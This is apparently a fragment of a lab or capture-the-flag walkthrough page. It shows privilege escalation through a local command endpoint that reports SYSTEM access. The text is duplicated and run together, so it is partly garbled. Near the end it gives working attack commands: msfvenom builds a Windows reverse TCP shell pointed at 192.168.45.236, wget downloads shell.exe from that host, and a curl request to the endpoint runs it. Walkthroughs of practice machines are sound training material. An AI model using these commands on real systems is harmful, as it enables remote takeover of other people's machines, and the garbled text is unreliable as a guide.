80
Now we can access the command endpoint:
curl http://localhost:80/?whoami
We have system.
Now making a reverse shell:
And transfer via ssh shell:
Now we can run it:


Alternate (easier)

Last updated
Was this helpful?
Now we can access the command endpoint:
curl http://localhost:80/?whoami
We have system.
Now making a reverse shell:
And transfer via ssh shell:
Now we can run it:



Last updated
Was this helpful?
Was this helpful?
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.236 LPORT=3001 -f exe -o shell.exewget http://192.168.45.236:8000/shell.exe -o shell.execurl http://localhost:80/?C:/temp/shell.exe$Resp = iwr 'http://nickel/?whoami' -UseBasicParsing
$Resp.RawContent